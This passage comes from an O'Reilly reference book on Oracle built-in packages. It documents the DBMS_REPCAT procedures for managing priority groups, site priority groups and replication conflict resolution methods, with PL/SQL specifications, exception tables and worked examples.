Note the following restrictions on calling ALTER_PRIORITY_<datatype>:
  • You must call the ALTER_PRIORITY_<datatype> procedure from the master definition site.
  • The new priority must be unique within the priority group.
16.3.3.3.3 Example
Suppose that we want to change the data value associated with priority 50 from DISCONTINUED to OBSOLETE. We would make the following call:
    BEGIN
        DBMS_REPCAT.ALTER_PRIORITY_VARCHAR2(
            gname		=> 'SPROCKET',
            pgroup		=> 'PG_PRODUCTION_STATUS',
            old_value	=> 'DISCONTINUED',
            new_value	=> 'OBSOLETE');
    END;
This call would take effect after the next call to GENERATE_REPLICATION_SUPPORT for an object in the SPROCKET replication group.
16.3.4 Dropping Priorities from a Priority Group
The DROP_PRIORITY and DROP_PRIORITY_<datatype> remove values from a priority group. You can specify the value to be removed by priority (with DROP_PRIORITY) or by data value (with DROP_PRIORITY_<datatype>).
16.3.4.1 The DBMS_REPCAT.DROP_PRIORITY procedure
The DROP_PRIORITY procedure removes a value from a priority group. In this version of the procedure, you must specify the value by priority. The specifications differ for Oracle7 and Oracle 8 as follows.
Here is the Oracle7 specification:
PROCEDURE DBMS_REPCAT.DROP_PRIORITY
  (gname IN VARCHAR2 := '',
   pgroup IN VARCHAR2,
   priority_num IN NUMBER,
   sname IN VARCHAR2 := '');
Here is the Oracle8 specification:
PROCEDURE DBMS_REPCAT.DROP_PRIORITY
  (gname IN VARCHAR2 := '',
   pgroup IN VARCHAR2,
   priority_num IN NUMBER);
Parameters are summarized in the following table.
Name | Description
gname | Name of the replication group to which priority group pgroup belongs
pgroup | Name of the priority group whose priority is being altered
priority_num | Priority for the value to be dropped
sname | Not used
16.3.4.1.1 Exceptions
The DROP_PRIORITY procedure may raise the following exceptions:
Name | Number | Description
missingprioritygroup | -23336 | Priority group pgroup does not exist.
missingrepgroup | -23373 | Replication group gname does not exist.
nonmasterdef | -23312 | Calling site is not the master definition site.
16.3.4.1.2 Restrictions
You must call the DROP_PRIORITY procedure from the master definition site.
16.3.4.1.3 Example
In the following example, we drop the member of the PG_PRODUCTION_STATUS priority group whose priority is 50:
    BEGIN
        DBMS_REPCAT.DROP_PRIORITY(
            gname		=> 'SPROCKET',
            pgroup		=> 'PG_PRODUCTION_STATUS',
            priority	=> 50);
    END;
This change takes effect the next time we run DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for an object in the SPROCKET replication group.
16.3.4.2 The DBMS_REPCAT.DROP_PRIORITY_<datatype> procedure
The DROP_PRIORITY_<datatype> procedure removes a value from a priority group. In this version of the procedure, you can specify the value by data value. The specifications differ for Oracle7 and Oracle 8 as follows.
Here is the Oracle7 specification:
PROCEDURE DBMS_REPCAT.DROP_PRIORITY_<datatype>
    (gname  IN VARCHAR2 := '',
     pgroup IN VARCHAR2,
     value  IN {CHAR|VARCHAR2|NUMBER|DATE|RAW},
     sname  IN VARCHAR2 := '');
Here is the Oracle8 specification:
PROCEDURE DBMS_REPCAT.DROP_PRIORITY_<datatype>
    (name   IN VARCHAR2 := '',
     pgroup IN VARCHAR2,
     value  IN {CHAR|NCHAR|VARCHAR2|NUMBER|DATE|RAW},
     sname  IN VARCHAR2 := '');
<datatype> can be any of the following, and value can be any of these types:
CHAR
VARCHAR2
NUMBER
DATE
RAW
NCHAR (Oracle8 only)
NVARCHAR2 (Oracle8 only)
Parameters are summarized in the following table.
Name | Description
gname | Name of the replication group to which priority group pgroup belongs
pgroup | Priority group to which new value and priority are being added
value | Literal value that is being assigned added to pgroup
sname (Oracle7 only) | Not used
16.3.4.2.1 Exceptions
The DROP_PRIORITY_<datatype> procedure may raise the following exceptions:
Name | Number | Description
missingprioritygroup | -23336 | Priority group pgroup does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
paramtype | -23325 | Datatype of value is not the same as the datatype for priority group pgroup
16.3.4.2.2 Restrictions
You must call DROP_PRIORITY_<datatype> from the master definition site.
16.3.4.2.3 Example
You can specify the member to be dropped by its data value rather than its priority (as was done with DROP_PRIORITY). In the following example, we drop the member of the PG_PRODUCTION_STATUS priority group whose value is CONCEPT:
    BEGIN
        DBMS_REPCAT.DROP_PRIORITY_VARCHAR2(
            gname	=> 'SPROCKET',
            pgroup	=> 'PG_PRODUCTION_STATUS',
            value	=> 'CONCEPT');
    END;
As with DROP_PRIORITY, this change takes effect after DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT has been run for any object in the replication group.
Previous: 16.2 Column Groups with DBMS_REPCAT | Oracle Built-in Packages | Next: 16.4 Site Priority Groups with DBMS_REPCAT
16.2 Column Groups with DBMS_REPCAT | Book Index | 16.4 Site Priority Groups with DBMS_REPCAT
  The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home

Oracle PL/SQL Programming, 2nd. Ed.

Guide to Oracle 8i Features

Oracle Built-in Packages

Advanced PL/SQL Programming with Packages

Oracle Web Applications

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.4 Site Priority Groups with DBMS_REPCAT

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

16.4 Site Priority Groups with DBMS_REPCAT

The site priority group technique resolves conflicts by accepting the data that originated from the site with the highest priority.

16.4.1 About Site Priority Groups

The procedures for creating and maintaining site priority groups are almost completely analogous to those used for priority groups. The similarity arises because a site priority group is actually a special case of a priority group in which the range of data values is the range of global names in the replicated environment. In fact, Oracle stores the information about priority groups and site priority groups in the same data dictionary views (DBA_REPPRIORITY_GROUP and DBA_REPPRIORITY). However, unlike in the priority group technique, you should base site priority group rankings on your confidence in the data from each site, as opposed to the business rules associated with a workflow.

Use the following programs to maintain site priority groups:

DBMS_REPCAT.ADD_SITE_PRIORITY_SITE
DBMS_REPCAT.ALTER_SITE_PRIORITY
DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE
DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY
DBMS_REPCAT.DEFINE_SITE_PRIORITY
DBMS_REPCAT.DROP_SITE_PRIORITY
DBMS_REPCAT.DROP_SITE_PRIORITY_SITE

16.4.2 Creating, Maintaining, and Dropping Site Priorities

DBMS_REPCAT's DEFINE_SITE_PRIORITY and DROP_SITE_PRIORITY procedures allow you to create and drop site priorities. Use the COMMENT_ON_SITE_PRIORITY procedure to maintain the comment on the site priority.

16.4.2.1 The DBMS_REPCAT.DEFINE_SITE_PRIORITY procedure

The DEFINE_SITE_PRIORITY procedure creates a site priority group. You can add sites to this group later. Specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DEFINE_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    comment IN VARCHAR2 := NULL,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DEFINE_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    comment IN VARCHAR2 := NULL)

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group containing the site priority group
name | Name of the site priority group
comment | Comment, visible in DBA_REPPRIORITY_GROUP data dictionary view
sname (Oracle7 only) | Not used

16.4.2.1.1 Exceptions

The DEFINE_SITE_PRIORITY procedure may raise the following exceptions:

Name | Number | Description
duplicateprioritygroup | -23335 | Site priority group name already exists
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.4.2.1.2 Restrictions

You must call DBMS_REPCAT.DEFINE_SITE_PRIORITY from the master definition site.

16.4.2.1.3 Example

The following call creates a site priority group called SP_NORTH_AMERICA:

    BEGIN
        DBMS_REPCAT.DEFINE_SITE_PRIORITY(
            gname	=> 'SPROCKET',
            name	=> 'SP_NORTH_AMERICA',
            comment	=> 'Site Priority for North American Locations');
    END;

These changes take effect after the next call to DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for an object in the SPROCKET replication group.

16.4.2.2 The DBMS_REPCAT.DROP_SITE_PRIORITY procedure

The DROP_SITE_PRIORITY procedure drops an existing site priority group that is no longer in use. Specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DROP_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DROP_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2)

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group containing the site priority group
name | Name of the site priority group
sname (Oracle7 only) | Not used

WARNING: As with the DROP_PRIORITY_GROUP procedure, do not attempt to drop a site priority group that is acting as an UPDATE conflict resolution handler for a column group. First, use DROP_UPDATE_RESOLUTION to drop the conflict handler for the column group.

16.4.2.2.1 Exceptions

The DROP_SITE_PRIORITY procedure may raise the following exceptions:

Name | Number | Description
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
referenced | -23332 | Site priority group is used by existing conflict resolution method

16.4.2.2.2 Restrictions

You must call DBMS_REPCAT.DROP_SITE_PRIORITY from the master definition site.

16.4.2.2.3 Example

The following example shows how to drop a site priority group that is no longer in use:

    BEGIN
        DBMS_REPCAT.DROP_SITE_PRIORITY(
            gname	=> 'SPROCKET',
            name	=> 'SP_NORTH_AMERICA');
    END;

16.4.2.3 The DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY procedure

The COMMENT_ON_SITE_PRIORITY procedure creates or replaces the comment field in the DBA_REPPRIORITY_GROUP data dictionary view for the specified site priority group. Specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    comment IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    comment IN VARCHAR2)

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group containing the priority group
name | Name of the site priority group
comment | Comment
sname (Oracle7 only) | Not used

16.4.2.3.1 Exceptions

The COMMENT_ON_SITE_PRIORITY procedure may raise the following exceptions:

Name | Number | Description
missingpriority | -1403 | Site priority group name does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not master definition site

16.4.2.3.2 Restrictions

You must call DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY from the master definition site.

16.4.2.3.3 Example

The following example shows how to replace a comment on a site priority group:

    BEGIN
        DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY(
            gname	=> 'SPROCKET',
            name	=> 'SP_NORTH_AMERICA',
            comment	=> 'Comment added on '||sysdate|| ' by '|| user);
    END;

16.4.3 Maintaining Site Priorities

Once you have created a site priority group as described in the previous section, you can add and drop sites (with ADD_SITE_PRIORITY_SITE and DROP_SITE_PRIORITY_SITE) and modify their priority values (with ALTER_SITE_PRIORITY and ALTER_SITE_PRIORITY_SITE).

You can query the data dictionary table DBA_REPPRIORITY for information about site priority group members and their priorities.

16.4.3.1 The DBMS_REPCAT.ADD_SITE_PRIORITY_SITE procedure

The ADD_SITE_PRIORITY_SITE procedure adds a new site to a site priority group. Specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ADD_SITE_PRIORITY_SITE
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    site IN VARCHAR2,
    priority IN NUMBER,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ADD_SITE_PRIORITY_SITE
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    site IN VARCHAR2,
    priority IN NUMBER);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to which site priority group name belongs
name | Name of the site priority group
site | Global name of the new site
priority | Priority designated to site
sname (Oracle7 only) | Not used

16.4.3.1.1 Exceptions

The ADD_SITE_PRIORITY_SITE procedure may raise the following exceptions:

Name | Number | Description
duplicatepriority | -23335 | Another site is already designated with priority specified by priority parameter
duplicatesite | -23338 | Site is already in the site priority group name
missingpriority | -1403 | Site does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.4.3.1.2 Restrictions

Note the following restrictions on calling ADD_SITE_PRIORITY_SITE:

  • You must call the ADD_SITE_PRIORITY_SITE procedure from the master definition site.

  • The new priority must be unique within the site priority group.

16.4.3.1.3 Example

This example adds four sites to the site priority group SP_NORTH_AMERICA:

    BEGIN
        DBMS_REPCAT.ADD_SITE_PRIORITY_SITE(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            site		=> 'D7OH.BIGWHEEL.COM',
            priority	=> 10);
        DBMS_REPCAT.ADD_SITE_PRIORITY_SITE(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            site		=> 'D7NY.BIGWHEEL.COM',
            priority	=> 20);
        DBMS_REPCAT.ADD_SITE_PRIORITY_SITE(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            site		=> 'D7HI.BIGWHEEL.COM',
            priority	=> 30);
        DBMS_REPCAT.ADD_SITE_PRIORITY_SITE(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            site		=> 'D7CA.BIGWHEEL.COM',
            priority	=> 40);
    END;

TIP: As with the ADD_PRIORITY_<datatype> procedure, it is a good idea to use multiples of 10 or more for the priority values so that you have some flexibility for future changes and additions.

After making these calls, we can query DBA_REPPRIORITY to confirm that Oracle added the sites.

SQL>  SELECT		gname,
  2  			priority_group,
  3  			varchar2_value		site_name,
  4  			priority
  5  FROM		dba_reppriority
  6  WHERE		priority_group = 'SP_NORTH_AMERICA'
  7  ORDER BY		priority;

GNAME	 PRIORITY_GROUP      SITE_NAME 	   	  PRIORITY
-------- -------------------- -------------------- --------
SPROCKET SP_NORTH_AMERICA     D7OH.BIGWHEEL.COM 	10
SPROCKET SP_NORTH_AMERICA     D7NY.BIGWHEEL.COM 	20
SPROCKET SP_NORTH_AMERICA     D7HI.BIGWHEEL.COM 	30

Although DBA_REPPRIORITY reflects the changes from the ADD_SITE_PRIORITY_SITE call, you must call DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT for an object in the replication group for the changes to propagate to the other master sites. This is the case for all of the DBMS_REPCAT procedures pertaining to site priority groups.

16.4.3.2 The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure

The DROP_SITE_PRIORITY_SITE procedure removes a site from a site priority group. Specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.DROP_SITE_PRIORITY_SITE
  (gname IN VARCHAR2 := '',
   name IN VARCHAR2,
   site IN VARCHAR2,
   sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.DROP_SITE_PRIORITY_SITE
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    site IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to which site priority group name belongs
name | Name of the site priority group
site | Global name of the new site
sname (Oracle7 only) | Not used

16.4.3.2.1 Exceptions

The DROP_SITE_PRIORITY_SITE procedure may raise the following exceptions:

Name | Number | Description
missingpriority | -1403 | Site priority does not exist
missingrepgroup | -23373 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.4.3.2.2 Restrictions

You must call DROP_SITE_PRIORITY_SITE from the master definition site.

16.4.3.2.3 Example

Here we drop D7TX.BIGWHEEL.COM from the SP_NORTH_AMERICA site priority:

    BEGIN
        DBMS_REPCAT.DROP_SITE_PRIORITY_SITE(
            gname	=> 'SPROCKET',
            name	=> 'SP_NORTH_AMERICA',
            site	=> 'D7TX.BIGWHEEL.COM');
    END;

As with the other site priority procedures, you must call GENERATE_REPLICATION_SUPPORT for an object in the replication group to propagate this change to other master sites.

Can I Drop a Site Priority Referenced by Priority Level?

You may have noticed that there is no procedure that will drop a member of a site priority referenced by priority level -- that is, there is no analog to DBMS_REPCAT.DROP_PRIORITY. Perhaps the team at Oracle decided that a procedure name like DROP_SITE_PRIORITY_PRIORITY is too cumbersome.

However, you can use DBMS_REPCAT.DROP_PRIORITY to drop a site priority referenced by priority level! Pass the name of the site priority to the pgroup parameters, and the priority value to the priority_num parameter.

Site priority groups really are priority groups in disguise.

16.4.3.3 The DBMS_REPCAT.ALTER_SITE_PRIORITY procedure

Just as you can change the priority of a value in a priority group, you can change the priority of a site in a site priority group. Use the ALTER_SITE_PRIORITY procedure to do this. The specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ALTER_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    old_priority IN NUMBER,
    new_priority IN NUMBER,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ALTER_SITE_PRIORITY
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    old_priority IN NUMBER,
    new_priority IN NUMBER);
    site IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Name of the replication group to which the site priority group name belongs
name | Name of the site priority group
old_priority | Site's current priority
new_priority | Site's new priority
sname (Oracle7 only) | Not used

16.4.3.3.1 Exceptions

The ALTER_SITE_PRIORITY procedure may raise the following exceptions:

Name | Number | Description
duplicatepriority | -1 | Priority new_priority already exists for the site priority group name
missingpriority | -1403 | Priority old_priority is not associated with any sites
missingrepgroup | -23373 | Replication group gname does not exist
missingvalue | -23337 | Value old_value does not already exist
nonmasterdef | -23312 | Calling site is not the master definition site
paramtype | -23325 | Parameter new_value is incorrect datatype

16.4.3.3.2 Restrictions

Note the following restrictions on calling ALTER_SITE_PRIORITY:

  • You must run this procedure from the master definition site.

  • The new priority must be unique within the site priority group.

16.4.3.3.3 Example

In this example, we move D7NY.BIGWHEEL.COM (from a previous example) to a higher priority, between D7HI.BIGWHEEL.COM and D7CA.BIGWHEEL.COM:

    BEGIN
        DBMS_REPCAT.ALTER_SITE_PRIORITY(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            old_priority	=> 20,
            new_priority	=> 35);
    END;

And, querying the DBA_REPPRIORITY data dictionary view again, we see the changed data (shown here in boldface):

SQL>  SELECT		gname,
  2  			priority_group,
  3  			varchar2_value		site_name,
  4  			priority
  5  FROM		dba_reppriority
  6  WHERE		priority_group = 'SP_NORTH_AMERICA'
  7  ORDER BY		priority;

GNAME	 PRIORITY_GROUP      SITE_NAME 	   	  PRIORITY
-------- -------------------- -------------------- --------
SPROCKET SP_NORTH_AMERICA     D7OH.BIGWHEEL.COM 	10
SPROCKET SP_NORTH_AMERICA     D7HI.BIGWHEEL.COM 	30
SPROCKET SP_NORTH_AMERICA     D7NY.BIGWHEEL.COM 	35
SPROCKET SP_NORTH_AMERICA     D7CA.BIGWHEEL.COM 	40

This shows D7NY.BIGWHEEL.COM with its new and higher priority.

16.4.3.4 The DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE

The ALTER_SITE_PRIORITY_SITE procedure is analogous to the DBMS_REPCAT.ADD_PRIORITY_<datatype> procedure; use it to change the site name for an existing named site in a site priority group. The specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    old_site IN VARCHAR2,
    new_site IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE
   (gname IN VARCHAR2 := '',
    name IN VARCHAR2,
    old_site IN VARCHAR2,
    new_site IN VARCHAR2);

Parameters are summarized in the following table:

Name | Description
gname | Name of the replication group to which the site priority group name belongs
name | Name of the site priority group
old_site | Global name of the site currently associated with the priority level
new_site | Global name of the site that is to replace old_site at old_site's priority level
sname (Oracle7 only) | Not used

16.4.3.4.1 Exceptions

The ALTER_SITE_PRIORITY_SITE procedure may raise the following exceptions:

Name | Number | Description
duplicatesite | -1 | new_site is already in the site priority group
missingpriority | -1403 | Site priority group name does not exist
missingrepgroup | -23373 | Replication group gname does not exist
missingvalue | -23337 | old_site is not in the site priority group
nonmasterdef | -23312 | Calling site is not the master definition site

16.4.3.4.2 Restrictions

Note the following restrictions on calling ALTER_SITE_PRIORITY_SITE:

  • You must call this procedure from the master definition site.

  • The new site must be unique in the site priority group.

16.4.3.4.3 Example

In this example, we replace the site associated with priority level 10 with D7TX.BIGWHEEL.COM:

    BEGIN
        DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE(
            gname		=> 'SPROCKET',
            name		=> 'SP_NORTH_AMERICA',
            old_site	=> 'D7OH.BIGWHEEL.COM',
            new_site	=> 'D7TX.BIGWHEEL.COM');
    END;

And again, we can see the change in DBA_REPPRIORITY:

SQL>  SELECT		gname,
  2  			priority_group,
  3  			varchar2_value		site_name,
  4  			priority
  5  FROM		dba_reppriority
  6  WHERE		priority_group = 'SP_NORTH_AMERICA'
  7  ORDER BY		priority;

GNAME	 PRIORITY_GROUP      SITE_NAME 	   	  PRIORITY
-------- -------------------- -------------------- --------
SPROCKET SP_NORTH_AMERICA     D7TX.BIGWHEEL.COM 	10
SPROCKET SP_NORTH_AMERICA     D7HI.BIGWHEEL.COM         30
SPROCKET SP_NORTH_AMERICA     D7NY.BIGWHEEL.COM         35
SPROCKET SP_NORTH_AMERICA     D7CA.BIGWHEEL.COM         40

Previous: 16.3 Priority Groups with DBMS_REPCAT | Oracle Built-in Packages | Next: 16.5 Assigning Resolution Methods with DBMS_REPCAT
16.3 Priority Groups with DBMS_REPCAT | Book Index | 16.5 Assigning Resolution Methods with DBMS_REPCAT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.5 Assigning Resolution Methods with DBMS_REPCAT

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

16.5 Assigning Resolution Methods with DBMS_REPCAT

Once you have configured your column, priority, and/or site priority groups, you can assign conflict resolution techniques to your replicated tables.

16.5.1 About Resolution Methods

In addition to column groups, priority groups, and site priority groups, the advanced replication option includes eleven other built-in resolution methods to handle update and uniqueness conflicts (see Table 16.14). You can also write your own resolution handlers. In particular, if you require a delete conflict handler, you must write your own because Oracle does not supply one.

Table 16.14: Built-in Conflict Resolution Methods

Conflict Type

Method Name

Comments

Update

MINIMUM

Data from the row having the minimum value for the designated column prevails. Data is guaranteed to converge if the value is always decreasing, or if there are fewer than three master sites.

MAXIMUM

Data from the row having the maximum value for the designated column prevails. Data is guaranteed to converge if the value is always increasing, or if there are fewer than three master sites.

EARLIEST TIME-STAMP

Data from the row having the earliest time-stamp for the designated column prevails. Data is guaranteed to converge if there are fewer than three master sites.

LATEST TIME-STAMP

Data from the row having the latest timestamp for the designated column prevails. Data is guaranteed to converge if the value is always increasing, or if there are fewer than three master sites.

OVERWRITE

Intended for a single master site with one or more updateable snapshot sites. Data from the site originating the update prevails. Convergence is not guaranteed with more than one master site.

DISCARD

Intended for a single master site with one or more updateable snapshot sites. Data from the site originating the update is discarded. Convergence is not guaranteed with more than one master site.

ADDITIVE

Intended for use with a column group con-sisting of a single numeric column. Oracle determines the new value of the column by adding the difference between the old value and new value at the originating site to the current value at the destination site. Convergence is guaranteed for any number of master sites.

AVERAGE

Intended for a single master site with one or more updateable snapshot sites. Oracle determines the new value of the column by averaging the current value at the destination with the value from the originating site. Convergence is not guaranteed with more than one master site.

Uniqueness

APPEND SITE NAME

Oracle resolves unique key violations (DUP_VAL_ON_INDEX) by appending the global name of the destination site (up to the first `.') to the offending column. The column must be a CHAR or VARCHAR2 type. Convergence is not guaranteed with more than one master site.

APPEND SEQUENCE

Oracle resolves unique key violations (DUP_VAL_ON_INDEX) by appending a generated sequence number to the offending column.

The column must be a CHAR or VARCHAR2 type. Convergence is not guaranteed with more than one master site.

DISCARD

Oracle resolves unique key violations (DUP_VAL_ON_INDEX) by ignoring (i.e., not inserting) the new row. Convergence is not guaranteed with more than one master site.

You'll use the following procedures to manipulate the conflict resolution methods associated with a given table:

ADD_<conflicttype>_RESOLUTION
DROP_<conflicttype>_RESOLUTION
COMMENT_ON_<conflicttype>_RESOLUTION

<conflicttype> can be UPDATE, UNIQUE, or DELETE. Therefore, the complete set of procedures in this category follows:

ADD_UPDATE_RESOLUTION
ADD_UNIQUE_RESOLUTION
ADD_DELETE_RESOLUTION
DROP_UPDATE_RESOLUTION
DROP_UNIQUE_RESOLUTION
DROP_DELETE_RESOLUTION
COMMENT_ON_UPDATE_RESOLUTION
COMMENT_ON_UNIQUE_RESOLUTION
COMMENT_ON_DELETE_RESOLUTION

16.5.1.1 The DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION

The ADD_<conflicttype>_RESOLUTION procedure adds a conflict resolution type to a table. The value of <conflicttype> can be UPDATE, UNIQUE, or DELETE. Here are the specifications:

PROCEDURE DBMS_REPCAT.ADD_UPDATE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    sequence_no IN NUMBER,
    method IN VARCHAR2,
    {parameter_column_name  IN dbms_repcat.varchar2s,|
    parameter_column_name IN VARCHAR2,}
    priority_group IN VARCHAR2 := NULL,
    function_name IN VARCHAR2 := NULL,
    comment IN VARCHAR2 := NULL);

PROCEDURE DBMS_REPCAT.ADD_UNIQUE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    constraint_name IN VARCHAR2,
    sequence_no IN NUMBER,
    method IN VARCHAR2,
    {parameter_column_name  IN dbms_repcat.varchar2s, |
    parameter_column_name IN VARCHAR2,}
    comment IN VARCHAR2 := NULL);

PROCEDURE DBMS_REPCAT.ADD_DELETE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    sequence_no IN NUMBER,
    {parameter_column_name  IN dbms_repcat.varchar2s, |
    parameter_column_name IN VARCHAR2,}
    function_name IN VARCHAR2 := NULL,
    comment IN VARCHAR2 := NULL);

Parameters are summarized in the following table.

Name

Description

sname

Name of the schema containing the replicated schema. Defaults to current user.

oname

Name of the replicated table.

column_group

ADD_UPDATE_RESOLUTION only. Column group for which the conflict resolution method is being defined.

constraint_name

ADD_UNIQUE_RESOLUTION only. Name of the constraint name or unique index for which the conflict resolution method is being added.

sequence_no

Number indicating when this conflict resolution method should be applied relative to other methods defined for the same column group or priority group.

method

The conflict resolution method. Valid values are,

  • PRIORITY GROUP

  • SITE PRIORITY

  • USER FUNCTION

or one of the methods in Table 16.14.

parameter_column_name

Comma-separated list of columns to be used to resolve the conflict (if VARCHAR2) or a PL/SQL table of column names.

If column_group is passed, the column(s) passed to parameter_column_name must be in the group.

A `*' indicates that all columns in the table or column group should be passed to the conflict resolution function, in alphabetical order.

priority_group

ADD_UPDATE_RESOLUTION only. If using a priority group or site priority group, the name of the group.

function_name

If designating a user-defined conflict resolution method, the name of the user function.

comment

Comment on the conflict resolution method, visible in the DBA_REPRESOLUTION data dictionary view.

16.5.1.1.1 Exception

The ADD_<conflicttype>RESOLUTION procedure may raise the following exceptions:

Name | Number | Description
duplicatesequence | -1 | Resolution method already exists with sequence number sequence_no for this column or priority group
invalidmethod | -23340 | Resolution method method does not exist
invalidparameter | -23342 | Column(s) specified in parameter_column_name invalid
missingcolumn | -23334 | Specified column(s) do not exist in table oname
missingconstraint | -23344 | Constraint constraint_name specified in ADD_UNIQUE_RESOLUTION does not exist
missingfunction | -23341 | User-defined function function_name does not exist
missinggroup | -23331 | column_group does not exist
missingobject | -23308 | Table oname does not exist in the replication group
missingprioritygroup | -23336 | priority_group does not exist
nonmasterdef | -23312 | Calling site is not the master definition site
typefailure | -23319 | Datatype of one of the columns specified in parameter_column_name is not appropriate for the resolution method

16.5.1.1.2 Restrictions

Note the following restrictions on calling ADD_<conflicttype>_RESOLUTION:

  • You must call this procedure from the master definition site.

  • After this call, you must generate replication support for the table passed to oname.

16.5.1.1.3 Examples

The following examples illustrate how to assign various conflict resolution methods to replicated tables. These examples use the products table used in earlier examples; for convenience, we've included its description here again.

Sql>desc products
Name	                        Null?             Type
 ---------------------  	---------	---
 PRODUCT_ID                     NOT NULL	NUMBER(9)
 PRODUCT_TYPE                   NOT NULL	NUMBER(6)
 CATALOG_ID                     NOT NULL	VARCHAR2(15)
 DESCRIPTION                    NOT NULL	VARCHAR2(30)
 REV_LEVEL                      NOT NULL	VARCHAR2(15)
 PRODUCTION_DATE                NOT NULL	DATE
 PRODUCTION_STATUS              NOT NULL	VARCHAR2(12)
 AUDIT_DATE                     NOT NULL	DATE
 AUDIT_USER                     NOT NULL	VARCHAR2(30)
 GLOBAL_NAME                    NOT NULL	VARCHAR2(20)

16.5.1.1.4 Examples of ADD_UPDATE_RESOLUTION

Assume that we have created a priority group PG_PRODUCTION_STATUS and have designated priorities to the full range of values for the column PRODUCTION_STATUS. The following call implements this priority group as the conflict handler that Oracle invokes first (because sequence_no = 1) when an update conflict occurs.

BEGIN
    DBMS_REPCAT.ADD_UPDATE_RESOLUTION(
        sname		=> 'SPROCKET',
        oname		=> 'PRODUCTS',
        sequence_no	=>	1,
        method		=> 'PRIORITY GROUP',
        priority_group	=> 'PG_PRODUCTION_STATUS',
        comment		=> 'Update Res. 1 added on '||sysdate);
END;

